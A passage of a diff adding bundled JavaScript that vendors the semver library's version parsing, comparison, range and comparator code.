this.prerelease.length === 0) { + this.major++; + } + this.minor = 0; + this.patch = 0; + this.prerelease = []; + break; + case "minor": + if (this.patch !== 0 || this.prerelease.length === 0) { + this.minor++; + } + this.patch = 0; + this.prerelease = []; + break; + case "patch": + if (this.prerelease.length === 0) { + this.patch++; + } + this.prerelease = []; + break; + // This probably shouldn't be used publicly. + // 1.0.0 'pre' would become 1.0.0-0 which is the wrong direction. + case "pre": { + const base = Number(identifierBase) ? 1 : 0; + if (this.prerelease.length === 0) { + this.prerelease = [base]; + } else { + let i = this.prerelease.length; + while (--i >= 0) { + if (typeof this.prerelease[i] === "number") { + this.prerelease[i]++; + i = -2; + } + } + if (i === -1) { + if (identifier === this.prerelease.join(".") && identifierBase === false) { + throw new Error("invalid increment argument: identifier already exists"); + } + this.prerelease.push(base); + } + } + if (identifier) { + let prerelease = [identifier, base]; + if (identifierBase === false) { + prerelease = [identifier]; + } + if (isPrereleaseIdentifier(this.prerelease, identifier)) { + const prereleaseBase = this.prerelease[identifier.split(".").length]; + if (isNaN(prereleaseBase)) { + this.prerelease = prerelease; + } + } else { + this.prerelease = prerelease; + } + } + break; + } + default: + throw new Error(`invalid increment argument: ${release}`); + } + this.raw = this.format(); + if (this.build.length) { + this.raw += `+${this.build.join(".")}`; + } + return this; + } + }; + module.exports = SemVer; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/parse.js +var require_parse2 = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/parse.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var parse4 = (version3, options, throwErrors = false) => { + if (version3 instanceof SemVer) { + return version3; + } + try { + return new SemVer(version3, options); + } catch (er) { + if (!throwErrors) { + return null; + } + throw er; + } + }; + module.exports = parse4; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/valid.js +var require_valid = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/valid.js"(exports, module) { + "use strict"; + var parse4 = require_parse2(); + var valid = (version3, options) => { + const v = parse4(version3, options); + return v ? v.version : null; + }; + module.exports = valid; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/clean.js +var require_clean = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/clean.js"(exports, module) { + "use strict"; + var parse4 = require_parse2(); + var clean = (version3, options) => { + const s = parse4(version3.trim().replace(/^[=v]+/, ""), options); + return s ? s.version : null; + }; + module.exports = clean; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/inc.js +var require_inc = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/inc.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var inc = (version3, release, options, identifier, identifierBase) => { + if (typeof options === "string") { + identifierBase = identifier; + identifier = options; + options = void 0; + } + try { + return new SemVer( + version3 instanceof SemVer ? version3.version : version3, + options + ).inc(release, identifier, identifierBase).version; + } catch (er) { + return null; + } + }; + module.exports = inc; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/diff.js +var require_diff = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/diff.js"(exports, module) { + "use strict"; + var parse4 = require_parse2(); + var diff = (version1, version22) => { + const v1 = parse4(version1, null, true); + const v2 = parse4(version22, null, true); + const comparison = v1.compare(v2); + if (comparison === 0) { + return null; + } + const v1Higher = comparison > 0; + const highVersion = v1Higher ? v1 : v2; + const lowVersion = v1Higher ? v2 : v1; + const highHasPre = !!highVersion.prerelease.length; + const lowHasPre = !!lowVersion.prerelease.length; + if (lowHasPre && !highHasPre) { + if (!lowVersion.patch && !lowVersion.minor) { + return "major"; + } + if (lowVersion.compareMain(highVersion) === 0) { + if (lowVersion.minor && !lowVersion.patch) { + return "minor"; + } + return "patch"; + } + } + const prefix = highHasPre ? "pre" : ""; + if (v1.major !== v2.major) { + return prefix + "major"; + } + if (v1.minor !== v2.minor) { + return prefix + "minor"; + } + if (v1.patch !== v2.patch) { + return prefix + "patch"; + } + return "prerelease"; + }; + module.exports = diff; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/major.js +var require_major = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/major.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var major2 = (a, loose) => new SemVer(a, loose).major; + module.exports = major2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/minor.js +var require_minor = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/minor.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var minor = (a, loose) => new SemVer(a, loose).minor; + module.exports = minor; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/patch.js +var require_patch = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/patch.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var patch = (a, loose) => new SemVer(a, loose).patch; + module.exports = patch; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/prerelease.js +var require_prerelease = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/prerelease.js"(exports, module) { + "use strict"; + var parse4 = require_parse2(); + var prerelease = (version3, options) => { + const parsed = parse4(version3, options); + return parsed && parsed.prerelease.length ? parsed.prerelease : null; + }; + module.exports = prerelease; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare.js +var require_compare = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var compare = (a, b2, loose) => new SemVer(a, loose).compare(new SemVer(b2, loose)); + module.exports = compare; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/rcompare.js +var require_rcompare = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/rcompare.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var rcompare = (a, b2, loose) => compare(b2, a, loose); + module.exports = rcompare; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare-loose.js +var require_compare_loose = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare-loose.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var compareLoose = (a, b2) => compare(a, b2, true); + module.exports = compareLoose; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare-build.js +var require_compare_build = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/compare-build.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var compareBuild = (a, b2, loose) => { + const versionA = new SemVer(a, loose); + const versionB = new SemVer(b2, loose); + return versionA.compare(versionB) || versionA.compareBuild(versionB); + }; + module.exports = compareBuild; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/sort.js +var require_sort = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/sort.js"(exports, module) { + "use strict"; + var compareBuild = require_compare_build(); + var sort = (list, loose) => list.sort((a, b2) => compareBuild(a, b2, loose)); + module.exports = sort; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/rsort.js +var require_rsort = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/rsort.js"(exports, module) { + "use strict"; + var compareBuild = require_compare_build(); + var rsort = (list, loose) => list.sort((a, b2) => compareBuild(b2, a, loose)); + module.exports = rsort; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/gt.js +var require_gt = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/gt.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var gt2 = (a, b2, loose) => compare(a, b2, loose) > 0; + module.exports = gt2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/lt.js +var require_lt = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/lt.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var lt2 = (a, b2, loose) => compare(a, b2, loose) < 0; + module.exports = lt2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/eq.js +var require_eq = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/eq.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var eq2 = (a, b2, loose) => compare(a, b2, loose) === 0; + module.exports = eq2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/neq.js +var require_neq = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/neq.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var neq = (a, b2, loose) => compare(a, b2, loose) !== 0; + module.exports = neq; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/gte.js +var require_gte = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/gte.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var gte2 = (a, b2, loose) => compare(a, b2, loose) >= 0; + module.exports = gte2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/lte.js +var require_lte = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/lte.js"(exports, module) { + "use strict"; + var compare = require_compare(); + var lte2 = (a, b2, loose) => compare(a, b2, loose) <= 0; + module.exports = lte2; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/cmp.js +var require_cmp = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/cmp.js"(exports, module) { + "use strict"; + var eq2 = require_eq(); + var neq = require_neq(); + var gt2 = require_gt(); + var gte2 = require_gte(); + var lt2 = require_lt(); + var lte2 = require_lte(); + var cmp = (a, op, b2, loose) => { + switch (op) { + case "===": + if (typeof a === "object") { + a = a.version; + } + if (typeof b2 === "object") { + b2 = b2.version; + } + return a === b2; + case "!==": + if (typeof a === "object") { + a = a.version; + } + if (typeof b2 === "object") { + b2 = b2.version; + } + return a !== b2; + case "": + case "=": + case "==": + return eq2(a, b2, loose); + case "!=": + return neq(a, b2, loose); + case ">": + return gt2(a, b2, loose); + case ">=": + return gte2(a, b2, loose); + case "<": + return lt2(a, b2, loose); + case "<=": + return lte2(a, b2, loose); + default: + throw new TypeError(`Invalid operator: ${op}`); + } + }; + module.exports = cmp; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/coerce.js +var require_coerce = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/coerce.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var parse4 = require_parse2(); + var { safeRe: re2, t } = require_re(); + var coerce = (version3, options) => { + if (version3 instanceof SemVer) { + return version3; + } + if (typeof version3 === "number") { + version3 = String(version3); + } + if (typeof version3 !== "string") { + return null; + } + options = options || {}; + let match = null; + if (!options.rtl) { + match = version3.match(options.includePrerelease ? re2[t.COERCEFULL] : re2[t.COERCE]); + } else { + const coerceRtlRegex = options.includePrerelease ? re2[t.COERCERTLFULL] : re2[t.COERCERTL]; + let next; + while ((next = coerceRtlRegex.exec(version3)) && (!match || match.index + match[0].length !== version3.length)) { + if (!match || next.index + next[0].length !== match.index + match[0].length) { + match = next; + } + coerceRtlRegex.lastIndex = next.index + next[1].length + next[2].length; + } + coerceRtlRegex.lastIndex = -1; + } + if (match === null) { + return null; + } + const major2 = match[2]; + const minor = match[3] || "0"; + const patch = match[4] || "0"; + const prerelease = options.includePrerelease && match[5] ? `-${match[5]}` : ""; + const build = options.includePrerelease && match[6] ? `+${match[6]}` : ""; + return parse4(`${major2}.${minor}.${patch}${prerelease}${build}`, options); + }; + module.exports = coerce; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/truncate.js +var require_truncate = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/truncate.js"(exports, module) { + "use strict"; + var parse4 = require_parse2(); + var constants = require_constants4(); + var SemVer = require_semver(); + var truncate = (version3, truncation, options) => { + if (!constants.RELEASE_TYPES.includes(truncation)) { + return null; + } + const clonedVersion = cloneInputVersion(version3, options); + return clonedVersion && doTruncation(clonedVersion, truncation); + }; + var cloneInputVersion = (version3, options) => { + const versionStringToParse = version3 instanceof SemVer ? version3.version : version3; + return parse4(versionStringToParse, options); + }; + var doTruncation = (version3, truncation) => { + if (isPrerelease(truncation)) { + return version3.version; + } + version3.prerelease = []; + switch (truncation) { + case "major": + version3.minor = 0; + version3.patch = 0; + break; + case "minor": + version3.patch = 0; + break; + } + return version3.format(); + }; + var isPrerelease = (type) => { + return type.startsWith("pre"); + }; + module.exports = truncate; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/lrucache.js +var require_lrucache = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/internal/lrucache.js"(exports, module) { + "use strict"; + var LRUCache = class { + constructor() { + this.max = 1e3; + this.map = /* @__PURE__ */ new Map(); + } + get(key) { + const value = this.map.get(key); + if (value === void 0) { + return void 0; + } else { + this.map.delete(key); + this.map.set(key, value); + return value; + } + } + delete(key) { + return this.map.delete(key); + } + set(key, value) { + const deleted = this.delete(key); + if (!deleted && value !== void 0) { + if (this.map.size >= this.max) { + const firstKey = this.map.keys().next().value; + this.delete(firstKey); + } + this.map.set(key, value); + } + return this; + } + }; + module.exports = LRUCache; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/range.js +var require_range = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/range.js"(exports, module) { + "use strict"; + var SPACE_CHARACTERS = /\s+/g; + var Range = class _Range { + constructor(range, options) { + options = parseOptions2(options); + if (range instanceof _Range) { + if (range.loose === !!options.loose && range.includePrerelease === !!options.includePrerelease) { + return range; + } else { + return new _Range(range.raw, options); + } + } + if (range instanceof Comparator) { + this.raw = range.value; + this.set = [[range]]; + this.formatted = void 0; + return this; + } + this.options = options; + this.loose = !!options.loose; + this.includePrerelease = !!options.includePrerelease; + this.raw = range.trim().replace(SPACE_CHARACTERS, " "); + this.set = this.raw.split("||").map((r) => this.parseRange(r.trim())).filter((c) => c.length); + if (!this.set.length) { + throw new TypeError(`Invalid SemVer Range: ${this.raw}`); + } + if (this.set.length > 1) { + const first = this.set[0]; + this.set = this.set.filter((c) => !isNullSet(c[0])); + if (this.set.length === 0) { + this.set = [first]; + } else if (this.set.length > 1) { + for (const c of this.set) { + if (c.length === 1 && isAny(c[0])) { + this.set = [c]; + break; + } + } + } + } + this.formatted = void 0; + } + get range() { + if (this.formatted === void 0) { + this.formatted = ""; + for (let i = 0; i < this.set.length; i++) { + if (i > 0) { + this.formatted += "||"; + } + const comps = this.set[i]; + for (let k = 0; k < comps.length; k++) { + if (k > 0) { + this.formatted += " "; + } + this.formatted += comps[k].toString().trim(); + } + } + } + return this.formatted; + } + format() { + return this.range; + } + toString() { + return this.range; + } + parseRange(range) { + range = range.replace(BUILDSTRIPRE, ""); + const memoOpts = (this.options.includePrerelease && FLAG_INCLUDE_PRERELEASE) | (this.options.loose && FLAG_LOOSE); + const memoKey = memoOpts + ":" + range; + const cached2 = cache2.get(memoKey); + if (cached2) { + return cached2; + } + const loose = this.options.loose; + const hr = loose ? re2[t.HYPHENRANGELOOSE] : re2[t.HYPHENRANGE]; + range = range.replace(hr, hyphenReplace(this.options.includePrerelease)); + debug("hyphen replace", range); + range = range.replace(re2[t.COMPARATORTRIM], comparatorTrimReplace); + debug("comparator trim", range); + range = range.replace(re2[t.TILDETRIM], tildeTrimReplace); + debug("tilde trim", range); + range = range.replace(re2[t.CARETTRIM], caretTrimReplace); + debug("caret trim", range); + let rangeList = range.split(" ").map((comp) => parseComparator(comp, this.options)).join(" ").split(/\s+/).map((comp) => replaceGTE0(comp, this.options)); + if (loose) { + rangeList = rangeList.filter((comp) => { + debug("loose invalid filter", comp, this.options); + return !!comp.match(re2[t.COMPARATORLOOSE]); + }); + } + debug("range list", rangeList); + const rangeMap = /* @__PURE__ */ new Map(); + const comparators = rangeList.map((comp) => new Comparator(comp, this.options)); + for (const comp of comparators) { + if (isNullSet(comp)) { + return [comp]; + } + rangeMap.set(comp.value, comp); + } + if (rangeMap.size > 1 && rangeMap.has("")) { + rangeMap.delete(""); + } + const result = [...rangeMap.values()]; + cache2.set(memoKey, result); + return result; + } + intersects(range, options) { + if (!(range instanceof _Range)) { + throw new TypeError("a Range is required"); + } + return this.set.some((thisComparators) => { + return isSatisfiable(thisComparators, options) && range.set.some((rangeComparators) => { + return isSatisfiable(rangeComparators, options) && thisComparators.every((thisComparator) => { + return rangeComparators.every((rangeComparator) => { + return thisComparator.intersects(rangeComparator, options); + }); + }); + }); + }); + } + // if ANY of the sets match ALL of its comparators, then pass + test(version3) { + if (!version3) { + return false; + } + if (typeof version3 === "string") { + try { + version3 = new SemVer(version3, this.options); + } catch (er) { + return false; + } + } + for (let i = 0; i < this.set.length; i++) { + if (testSet(this.set[i], version3, this.options)) { + return true; + } + } + return false; + } + }; + module.exports = Range; + var LRU = require_lrucache(); + var cache2 = new LRU(); + var parseOptions2 = require_parse_options(); + var Comparator = require_comparator(); + var debug = require_debug2(); + var SemVer = require_semver(); + var { + safeRe: re2, + src, + t, + comparatorTrimReplace, + tildeTrimReplace, + caretTrimReplace + } = require_re(); + var { FLAG_INCLUDE_PRERELEASE, FLAG_LOOSE } = require_constants4(); + var BUILDSTRIPRE = new RegExp(src[t.BUILD], "g"); + var isNullSet = (c) => c.value === "<0.0.0-0"; + var isAny = (c) => c.value === ""; + var isSatisfiable = (comparators, options) => { + let result = true; + const remainingComparators = comparators.slice(); + let testComparator = remainingComparators.pop(); + while (result && remainingComparators.length) { + result = remainingComparators.every((otherComparator) => { + return testComparator.intersects(otherComparator, options); + }); + testComparator = remainingComparators.pop(); + } + return result; + }; + var parseComparator = (comp, options) => { + comp = comp.replace(re2[t.BUILD], ""); + debug("comp", comp, options); + comp = replaceCarets(comp, options); + debug("caret", comp); + comp = replaceTildes(comp, options); + debug("tildes", comp); + comp = replaceXRanges(comp, options); + debug("xrange", comp); + comp = replaceStars(comp, options); + debug("stars", comp); + return comp; + }; + var isX = (id) => !id || id.toLowerCase() === "x" || id === "*"; + var invalidXRangeOrder = (M, m, p) => isX(M) && !isX(m) || isX(m) && p && !isX(p); + var replaceTildes = (comp, options) => { + return comp.trim().split(/\s+/).map((c) => replaceTilde(c, options)).join(" "); + }; + var replaceTilde = (comp, options) => { + const r = options.loose ? re2[t.TILDELOOSE] : re2[t.TILDE]; + const z2 = options.includePrerelease ? "-0" : ""; + return comp.replace(r, (_, M, m, p, pr) => { + debug("tilde", comp, _, M, m, p, pr); + let ret2; + if (isX(M)) { + ret2 = ""; + } else if (isX(m)) { + ret2 = `>=${M}.0.0${z2} <${+M + 1}.0.0-0`; + } else if (isX(p)) { + ret2 = `>=${M}.${m}.0${z2} <${M}.${+m + 1}.0-0`; + } else if (pr) { + debug("replaceTilde pr", pr); + ret2 = `>=${M}.${m}.${p}-${pr} <${M}.${+m + 1}.0-0`; + } else { + ret2 = `>=${M}.${m}.${p} <${M}.${+m + 1}.0-0`; + } + debug("tilde return", ret2); + return ret2; + }); + }; + var replaceCarets = (comp, options) => { + return comp.trim().split(/\s+/).map((c) => replaceCaret(c, options)).join(" "); + }; + var replaceCaret = (comp, options) => { + debug("caret", comp, options); + const r = options.loose ? re2[t.CARETLOOSE] : re2[t.CARET]; + const z2 = options.includePrerelease ? "-0" : ""; + return comp.replace(r, (_, M, m, p, pr) => { + debug("caret", comp, _, M, m, p, pr); + let ret2; + if (isX(M)) { + ret2 = ""; + } else if (isX(m)) { + ret2 = `>=${M}.0.0${z2} <${+M + 1}.0.0-0`; + } else if (isX(p)) { + if (M === "0") { + ret2 = `>=${M}.${m}.0${z2} <${M}.${+m + 1}.0-0`; + } else { + ret2 = `>=${M}.${m}.0${z2} <${+M + 1}.0.0-0`; + } + } else if (pr) { + debug("replaceCaret pr", pr); + if (M === "0") { + if (m === "0") { + ret2 = `>=${M}.${m}.${p}-${pr} <${M}.${m}.${+p + 1}-0`; + } else { + ret2 = `>=${M}.${m}.${p}-${pr} <${M}.${+m + 1}.0-0`; + } + } else { + ret2 = `>=${M}.${m}.${p}-${pr} <${+M + 1}.0.0-0`; + } + } else { + debug("no pr"); + if (M === "0") { + if (m === "0") { + ret2 = `>=${M}.${m}.${p} <${M}.${m}.${+p + 1}-0`; + } else { + ret2 = `>=${M}.${m}.${p} <${M}.${+m + 1}.0-0`; + } + } else { + ret2 = `>=${M}.${m}.${p} <${+M + 1}.0.0-0`; + } + } + debug("caret return", ret2); + return ret2; + }); + }; + var replaceXRanges = (comp, options) => { + debug("replaceXRanges", comp, options); + return comp.split(/\s+/).map((c) => replaceXRange(c, options)).join(" "); + }; + var replaceXRange = (comp, options) => { + comp = comp.trim(); + const r = options.loose ? re2[t.XRANGELOOSE] : re2[t.XRANGE]; + return comp.replace(r, (ret2, gtlt, M, m, p, pr) => { + debug("xRange", comp, ret2, gtlt, M, m, p, pr); + if (invalidXRangeOrder(M, m, p)) { + return comp; + } + const xM = isX(M); + const xm = xM || isX(m); + const xp = xm || isX(p); + const anyX = xp; + if (gtlt === "=" && anyX) { + gtlt = ""; + } + pr = options.includePrerelease ? "-0" : ""; + if (xM) { + if (gtlt === ">" || gtlt === "<") { + ret2 = "<0.0.0-0"; + } else { + ret2 = "*"; + } + } else if (gtlt && anyX) { + if (xm) { + m = 0; + } + p = 0; + if (gtlt === ">") { + gtlt = ">="; + if (xm) { + M = +M + 1; + m = 0; + p = 0; + } else { + m = +m + 1; + p = 0; + } + } else if (gtlt === "<=") { + gtlt = "<"; + if (xm) { + M = +M + 1; + } else { + m = +m + 1; + } + } + if (gtlt === "<") { + pr = "-0"; + } + ret2 = `${gtlt + M}.${m}.${p}${pr}`; + } else if (xm) { + ret2 = `>=${M}.0.0${pr} <${+M + 1}.0.0-0`; + } else if (xp) { + ret2 = `>=${M}.${m}.0${pr} <${M}.${+m + 1}.0-0`; + } + debug("xRange return", ret2); + return ret2; + }); + }; + var replaceStars = (comp, options) => { + debug("replaceStars", comp, options); + return comp.trim().replace(re2[t.STAR], ""); + }; + var replaceGTE0 = (comp, options) => { + debug("replaceGTE0", comp, options); + return comp.trim().replace(re2[options.includePrerelease ? t.GTE0PRE : t.GTE0], ""); + }; + var hyphenReplace = (incPr) => ($0, from, fM, fm, fp, fpr, fb, to, tM, tm, tp, tpr) => { + if (isX(fM)) { + from = ""; + } else if (isX(fm)) { + from = `>=${fM}.0.0${incPr ? "-0" : ""}`; + } else if (isX(fp)) { + from = `>=${fM}.${fm}.0${incPr ? "-0" : ""}`; + } else if (fpr) { + from = `>=${from}`; + } else { + from = `>=${from}${incPr ? "-0" : ""}`; + } + if (isX(tM)) { + to = ""; + } else if (isX(tm)) { + to = `<${+tM + 1}.0.0-0`; + } else if (isX(tp)) { + to = `<${tM}.${+tm + 1}.0-0`; + } else if (tpr) { + to = `<=${tM}.${tm}.${tp}-${tpr}`; + } else if (incPr) { + to = `<${tM}.${tm}.${+tp + 1}-0`; + } else { + to = `<=${to}`; + } + return `${from} ${to}`.trim(); + }; + var testSet = (set2, version3, options) => { + for (let i = 0; i < set2.length; i++) { + if (!set2[i].test(version3)) { + return false; + } + } + if (version3.prerelease.length && !options.includePrerelease) { + for (let i = 0; i < set2.length; i++) { + debug(set2[i].semver); + if (set2[i].semver === Comparator.ANY) { + continue; + } + if (set2[i].semver.prerelease.length > 0) { + const allowed = set2[i].semver; + if (allowed.major === version3.major && allowed.minor === version3.minor && allowed.patch === version3.patch) { + return true; + } + } + } + return false; + } + return true; + }; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/comparator.js +var require_comparator = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/classes/comparator.js"(exports, module) { + "use strict"; + var ANY = Symbol("SemVer ANY"); + var Comparator = class _Comparator { + static get ANY() { + return ANY; + } + constructor(comp, options) { + options = parseOptions2(options); + if (comp instanceof _Comparator) { + if (comp.loose === !!options.loose) { + return comp; + } else { + comp = comp.value; + } + } + comp = comp.trim().split(/\s+/).join(" "); + debug("comparator", comp, options); + this.options = options; + this.loose = !!options.loose; + this.parse(comp); + if (this.semver === ANY) { + this.value = ""; + } else { + this.value = this.operator + this.semver.version; + } + debug("comp", this); + } + parse(comp) { + const r = this.options.loose ? re2[t.COMPARATORLOOSE] : re2[t.COMPARATOR]; + const m = comp.match(r); + if (!m) { + throw new TypeError(`Invalid comparator: ${comp}`); + } + this.operator = m[1] !== void 0 ? m[1] : ""; + if (this.operator === "=") { + this.operator = ""; + } + if (!m[2]) { + this.semver = ANY; + } else { + this.semver = new SemVer(m[2], this.options.loose); + } + } + toString() { + return this.value; + } + test(version3) { + debug("Comparator.test", version3, this.options.loose); + if (this.semver === ANY || version3 === ANY) { + return true; + } + if (typeof version3 === "string") { + try { + version3 = new SemVer(version3, this.options); + } catch (er) { + return false; + } + } + return cmp(version3, this.operator, this.semver, this.options); + } + intersects(comp, options) { + if (!(comp instanceof _Comparator)) { + throw new TypeError("a Comparator is required"); + } + if (this.operator === "") { + if (this.value === "") { + return true; + } + return new Range(comp.value, options).test(this.value); + } else if (comp.operator === "") { + if (comp.value === "") { + return true; + } + return new Range(this.value, options).test(comp.semver); + } + options = parseOptions2(options); + if (options.includePrerelease && (this.value === "<0.0.0-0" || comp.value === "<0.0.0-0")) { + return false; + } + if (!options.includePrerelease && (this.value.startsWith("<0.0.0") || comp.value.startsWith("<0.0.0"))) { + return false; + } + if (this.operator.startsWith(">") && comp.operator.startsWith(">")) { + return true; + } + if (this.operator.startsWith("<") && comp.operator.startsWith("<")) { + return true; + } + if (this.semver.version === comp.semver.version && this.operator.includes("=") && comp.operator.includes("=")) { + return true; + } + if (cmp(this.semver, "<", comp.semver, options) && this.operator.startsWith(">") && comp.operator.startsWith("<")) { + return true; + } + if (cmp(this.semver, ">", comp.semver, options) && this.operator.startsWith("<") && comp.operator.startsWith(">")) { + return true; + } + return false; + } + }; + module.exports = Comparator; + var parseOptions2 = require_parse_options(); + var { safeRe: re2, t } = require_re(); + var cmp = require_cmp(); + var debug = require_debug2(); + var SemVer = require_semver(); + var Range = require_range(); + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/satisfies.js +var require_satisfies = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/functions/satisfies.js"(exports, module) { + "use strict"; + var Range = require_range(); + var satisfies = (version3, range, options) => { + try { + range = new Range(range, options); + } catch (er) { + return false; + } + return range.test(version3); + }; + module.exports = satisfies; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/to-comparators.js +var require_to_comparators = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/to-comparators.js"(exports, module) { + "use strict"; + var Range = require_range(); + var toComparators = (range, options) => new Range(range, options).set.map((comp) => comp.map((c) => c.value).join(" ").trim().split(" ")); + module.exports = toComparators; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/max-satisfying.js +var require_max_satisfying = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/max-satisfying.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var Range = require_range(); + var maxSatisfying = (versions, range, options) => { + let max = null; + let maxSV = null; + let rangeObj = null; + try { + rangeObj = new Range(range, options); + } catch (er) { + return null; + } + versions.forEach((v) => { + if (rangeObj.test(v)) { + if (!max || maxSV.compare(v) === -1) { + max = v; + maxSV = new SemVer(max, options); + } + } + }); + return max; + }; + module.exports = maxSatisfying; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/min-satisfying.js +var require_min_satisfying = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/min-satisfying.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var Range = require_range(); + var minSatisfying = (versions, range, options) => { + let min = null; + let minSV = null; + let rangeObj = null; + try { + rangeObj = new Range(range, options); + } catch (er) { + return null; + } + versions.forEach((v) => { + if (rangeObj.test(v)) { + if (!min || minSV.compare(v) === 1) { + min = v; + minSV = new SemVer(min, options); + } + } + }); + return min; + }; + module.exports = minSatisfying; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/min-version.js +var require_min_version = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/min-version.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var Range = require_range(); + var gt2 = require_gt(); + var minVersion = (range, loose) => { + range = new Range(range, loose); + let minver = new SemVer("0.0.0"); + if (range.test(minver)) { + return minver; + } + minver = new SemVer("0.0.0-0"); + if (range.test(minver)) { + return minver; + } + minver = null; + for (let i = 0; i < range.set.length; ++i) { + const comparators = range.set[i]; + let setMin = null; + comparators.forEach((comparator) => { + const compver = new SemVer(comparator.semver.version); + switch (comparator.operator) { + case ">": + if (compver.prerelease.length === 0) { + compver.patch++; + } else { + compver.prerelease.push(0); + } + compver.raw = compver.format(); + /* fallthrough */ + case "": + case ">=": + if (!setMin || gt2(compver, setMin)) { + setMin = compver; + } + break; + case "<": + case "<=": + break; + /* istanbul ignore next */ + default: + throw new Error(`Unexpected operation: ${comparator.operator}`); + } + }); + if (setMin && (!minver || gt2(minver, setMin))) { + minver = setMin; + } + } + if (minver && range.test(minver)) { + return minver; + } + return null; + }; + module.exports = minVersion; + } +}); + +// 